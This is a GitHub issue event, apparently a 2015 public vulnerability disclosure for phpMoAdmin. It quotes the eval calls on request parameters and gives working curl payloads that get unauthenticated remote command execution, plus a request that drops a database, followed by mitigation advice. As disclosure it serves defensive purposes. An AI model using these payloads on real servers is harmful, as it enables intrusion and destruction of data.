{"action":"created","issue":{"url":"https://api.github.com/repos/MongoDB-Rox/phpMoAdmin-MongoDB-Admin-Tool-for-PHP/issues/26","labels_url":"https://api.github.com/repos/MongoDB-Rox/phpMoAdmin-MongoDB-Admin-Tool-for-PHP/issues/26/labels{/name}","comments_url":"https://api.github.com/repos/MongoDB-Rox/phpMoAdmin-MongoDB-Admin-Tool-for-PHP/issues/26/comments","events_url":"https://api.github.com/repos/MongoDB-Rox/phpMoAdmin-MongoDB-Admin-Tool-for-PHP/issues/26/events","html_url":"https://github.com/MongoDB-Rox/phpMoAdmin-MongoDB-Admin-Tool-for-PHP/issues/26","id":60524760,"number":26,"title":"Many security issues in phpMoAdmin (0-day)","user":{"login":"Sr4l","id":2060860,"avatar_url":"https://avatars.githubusercontent.com/u/2060860?v=3","gravatar_id":"","url":"https://api.github.com/users/Sr4l","html_url":"https://github.com/Sr4l","followers_url":"https://api.github.com/users/Sr4l/followers","following_url":"https://api.github.com/users/Sr4l/following{/other_user}","gists_url":"https://api.github.com/users/Sr4l/gists{/gist_id}","starred_url":"https://api.github.com/users/Sr4l/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Sr4l/subscriptions","organizations_url":"https://api.github.com/users/Sr4l/orgs","repos_url":"https://api.github.com/users/Sr4l/repos","events_url":"https://api.github.com/users/Sr4l/events{/privacy}","received_events_url":"https://api.github.com/users/Sr4l/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"milestone":null,"comments":4,"created_at":"2015-03-10T16:10:15Z","updated_at":"2015-07-14T22:31:30Z","closed_at":null,"body":"A week ago I read a security alert at ['heise Security' ][1] . It's a\r\nGerman IT news site. The article was about someone is selling a\r\nZero-Day-Exploit for phpMoAdmin. Here is another [source][2]\r\nin English. Because nobody has written an issue or a fix a week later I\r\ndecided to write all the stuff down I figured out last week.\r\n\r\nAt least for the *second  bug* I already found Metasploit scripts. So\r\nI decide to publish the exploits as well. Its already all over the \r\nInternet.\r\n\r\n[1]: http://www.heise.de/security/meldung/Zero-Day-Exploit-fuer-phpMoAdmin-Luecke-2566518.html\r\n[2]: http://thehackernews.com/2015/03/phpMoAdmin-mongoDB-exploit.html\r\n\r\nWell, the fact that **there is a security hole** and not **what\r\nthe hole is** I got interested. I'm not using MongoDB and I am not so \r\nmuch into PHP, but a close look at the source and I found two suspects\r\nthat might  be a problem.\r\n\r\n```\r\n556:  eval('$find = ' . $_GET['find'] . ';');\r\n694:  eval('$obj=' . $obj . ';');\r\n```\r\n\r\nThe first is obviously risky, an `eval` over a GET parameter. The second\r\ncould be, depends on $obj.\r\n\r\nThe first\r\n---------\r\n```\r\n272:  class moadminModel {\r\n000:    ...\r\n546:    public function listRows($collection) {\r\n547:        foreach ($this->sort as $key => $val) { //cast vals to int\r\n548:            $sort[$key] = (int) $val;\r\n549:        }\r\n550:        $col = $this->mongo->selectCollection($collection);\r\n551:\r\n552:        $find = array();\r\n553:        if (isset($_GET['find']) && $_GET['find']) {\r\n554:            $_GET['find'] = trim($_GET['find']);\r\n555:            if (strpos($_GET['find'], 'array') === 0) {\r\n556:                eval('$find = ' . $_GET['find'] . ';');\r\n000:            ...\r\n```\r\n\r\nFor the first we need to call the `listRows` function and can than inject\r\ncode in the `$_GET['find']` key, but find must start with `array`.\r\n\r\nThere seems only one way to call `listRows`, and this is by setting the\r\nGET key `action`, supply a fake `collection` and our manipulated find\r\nkey.\r\n\r\n```\r\n739:  class moadminComponent {\r\n000:    ...\r\n763:    public function __construct() {\r\n000:      ...\r\n837:      if (isset($_GET['collection']) && $action != 'listCollections' && method_exists(self::$model, $action)) {\r\n838:        $this->mongo[$action] = self::$model->$action($_GET['collection']);\r\n000:\r\n1978:  $mo = new moadminComponent;\r\n```\r\n\r\n`moadminComponent` is created at the beginning without login or session\r\ncheck, so this makes it all too easy. We can run every shell command by\r\nproviding the right GET keys.\r\n\r\n**Exploit:**\r\n\r\n```curl \"http://localhost/phpmoadmin/moadmin.php?action=listRows&collection=0&find=array();system(%27whoami%27);exit;\"```\r\n\r\nAnd the second?\r\n---------------\r\n\r\n```\r\n693:  public function saveObject($collection, $obj) {\r\n691:    eval('$obj=' . $obj . ';'); //cast from string to array\r\n692:    return $this->mongo->selectCollection($collection)->save($obj);\r\n693:  }\r\n```\r\n\r\nTo exploit the second suspect we need run `saveObject`. It seems to be \r\ncalled only once, again in the constructor of `moadminComponent`, and\r\nthe function parameter `$obj` is a POST key, it could not be easier:\r\n\r\n```\r\n739:  class moadminComponent {\r\n000:  ...\r\n763:    public function __construct() {\r\n000:    ...\r\n788:      if (self::$model->saveObject($_GET['collection'], $_POST['object'])) {\r\n```\r\nSo with placing a code injection in POST key `object` you can run any\r\nshell command with PHP process rights. Again no login needed.\r\n\r\n**Exploit:**\r\n\r\n```curl \"http://localhost/phpmoadmin/moadmin.php\" -d \"object=0;system('whoami');exit\"```\r\n\r\nAny other problems?\r\n-------------------\r\n\r\nMany. Because the check for a valid session is too late you can play with\r\nmany direct links. Like dropping databases you know or guess there name:\r\n\r\n```curl \"http://localhost/phpmoadmin/moadmin.php?db=ANY_DB_NAME&action=dropDb\"```\r\n\r\nWhy bother writing a login system that only prevents you from looking\r\nat your page?!?\r\n\r\nSolution\r\n--------\r\n\r\nToo fix this issues you need more than a bug fix. First everyone should\r\ndelete phpMoAdmin or add an extra layer of access control (i.e. .htaccess)\r\nand also only grant people access you would give a shell login.\r\n"},"comment":{"url":"https://api.github.com/repos/MongoDB-Rox/phpMoAdmin-MongoDB-Admin-Tool-for-PHP/issues/comments/121412767","html_url":"https://github.com/MongoDB-Rox/phpMoAdmin-MongoDB-Admin-Tool-for-PHP/issues/26#issuecomment-121412767","issue_url":"https://api.github.com/repos/MongoDB-Rox/phpMoAdmin-MongoDB-Admin-Tool-for-PHP/issues/26","id":121412767,"user":{"login":"wireghoul","id":92534,"avatar_url":"https://avatars.githubusercontent.com/u/92534?v=3","gravatar_id":"","url":"https://api.github.com/users/wireghoul","html_url":"https://github.com/wireghoul","followers_url":"https://api.github.com/users/wireghoul/followers","following_url":"https://api.github.com/users/wireghoul/following{/other_user}","gists_url":"https://api.github.com/users/wireghoul/gists{/gist_id}","starred_url":"https://api.github.com/users/wireghoul/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wireghoul/subscriptions","organizations_url":"https://api.github.com/users/wireghoul/orgs","repos_url":"https://api.github.com/users/wireghoul/repos","events_url":"https://api.github.com/users/wireghoul/events{/privacy}","received_events_url":"https://api.github.com/users/wireghoul/received_events","type":"User","site_admin":false},"created_at":"2015-07-14T22:31:30Z","updated_at":"2015-07-14T22:31:30Z","body":"Your response confuses me a little, some of it seems like pointless chest beating and some seems aimed at the original reporter. As this report has been public for almost half a year there was no threat to make it public. The metasploit exploits for these bugs have also been public for roughly the same amount of time so again there is nothing to \"make public\". I merely responded to the comment about disabling system in php.ini. Feel free not to patch, I'm not a mongoDB user so this doesn't affect me."}}